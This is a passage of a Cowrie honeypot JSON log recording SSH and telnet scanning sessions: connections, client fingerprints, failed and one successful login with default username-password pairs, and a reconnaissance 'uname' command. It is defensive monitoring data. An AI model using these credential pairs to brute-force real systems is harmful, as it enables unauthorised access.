ha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:57.511851Z","src_ip":"176.65.139.95","session":"b46a7af8b139","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:57.870876Z","src_ip":"176.65.139.95","session":"b46a7af8b139","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:24:58.961089Z","src_ip":"176.65.139.95","session":"b46a7af8b139","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.77.91.118","src_port":34096,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a1407858795","protocol":"telnet","message":"New connection: 182.77.91.118:34096 (159.203.135.109:23) [session: 2a1407858795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:01.899765Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36374,"dst_ip":"159.203.135.109","dst_port":22,"session":"fff306c201bb","protocol":"ssh","message":"New connection: 159.203.92.129:36374 (159.203.135.109:22) [session: fff306c201bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:01.905996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:02.570176Z","src_ip":"159.203.92.129","session":"fff306c201bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:02.575454Z","src_ip":"159.203.92.129","session":"fff306c201bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58394,"dst_ip":"159.203.135.109","dst_port":22,"session":"441814389d2a","protocol":"ssh","message":"New connection: 176.65.139.95:58394 (159.203.135.109:22) [session: 441814389d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:03.777742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:03.841234Z","src_ip":"176.65.139.95","session":"441814389d2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:03.866229Z","src_ip":"176.65.139.95","session":"441814389d2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ECC","password":"ECC123","message":"login attempt [ECC/ECC123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:03.877752Z","src_ip":"159.203.92.129","session":"fff306c201bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:04.212139Z","src_ip":"176.65.139.95","session":"441814389d2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:04.961097Z","src_ip":"159.203.92.129","session":"fff306c201bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:05.364642Z","src_ip":"176.65.139.95","session":"441814389d2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":41406,"dst_ip":"159.203.135.109","dst_port":22,"session":"25af283eff1e","protocol":"ssh","message":"New connection: 176.65.139.95:41406 (159.203.135.109:22) [session: 25af283eff1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:10.036553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:10.093495Z","src_ip":"176.65.139.95","session":"25af283eff1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:10.139713Z","src_ip":"176.65.139.95","session":"25af283eff1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:10.644434Z","src_ip":"176.65.139.95","session":"25af283eff1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:11.730073Z","src_ip":"176.65.139.95","session":"25af283eff1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":36700,"dst_ip":"10.17.0.5","dst_port":22,"session":"55dc31cf2f47","protocol":"ssh","message":"New connection: 79.116.23.158:36700 (10.17.0.5:22) [session: 55dc31cf2f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:13.272034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:13.277641Z","src_ip":"79.116.23.158","session":"55dc31cf2f47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:13.409091Z","src_ip":"79.116.23.158","session":"55dc31cf2f47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lmsftp","password":"lmsftp","message":"login attempt [lmsftp/lmsftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:13.935406Z","src_ip":"79.116.23.158","session":"55dc31cf2f47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.132139444351196,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:15.031777Z","src_ip":"182.77.91.118","session":"2a1407858795","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:15.060672Z","src_ip":"79.116.23.158","session":"55dc31cf2f47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":41412,"dst_ip":"159.203.135.109","dst_port":22,"session":"65fb01d16537","protocol":"ssh","message":"New connection: 176.65.139.95:41412 (159.203.135.109:22) [session: 65fb01d16537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:16.433981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:16.439895Z","src_ip":"176.65.139.95","session":"65fb01d16537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:16.522549Z","src_ip":"176.65.139.95","session":"65fb01d16537","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:16.783629Z","src_ip":"176.65.139.95","session":"65fb01d16537","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:17.021037Z","src_ip":"176.65.139.95","session":"65fb01d16537","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:17.024867Z","src_ip":"176.65.139.95","session":"65fb01d16537","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:17.118408Z","src_ip":"176.65.139.95","session":"65fb01d16537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:17.124786Z","src_ip":"176.65.139.95","session":"65fb01d16537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40010,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9fd39f95623","protocol":"ssh","message":"New connection: 176.65.139.95:40010 (159.203.135.109:22) [session: d9fd39f95623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:22.452698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:22.460441Z","src_ip":"176.65.139.95","session":"d9fd39f95623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:22.536857Z","src_ip":"176.65.139.95","session":"d9fd39f95623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:22.887917Z","src_ip":"176.65.139.95","session":"d9fd39f95623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:23.973643Z","src_ip":"176.65.139.95","session":"d9fd39f95623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40016,"dst_ip":"159.203.135.109","dst_port":22,"session":"24ae75f19efe","protocol":"ssh","message":"New connection: 176.65.139.95:40016 (159.203.135.109:22) [session: 24ae75f19efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:28.526643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:28.653659Z","src_ip":"176.65.139.95","session":"24ae75f19efe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:28.711893Z","src_ip":"176.65.139.95","session":"24ae75f19efe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:29.019931Z","src_ip":"176.65.139.95","session":"24ae75f19efe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:30.130164Z","src_ip":"176.65.139.95","session":"24ae75f19efe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36554,"dst_ip":"159.203.135.109","dst_port":22,"session":"74242ea46413","protocol":"ssh","message":"New connection: 176.65.139.95:36554 (159.203.135.109:22) [session: 74242ea46413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:34.685445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:25:34.690868Z","src_ip":"176.65.139.95","session":"74242ea46413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cer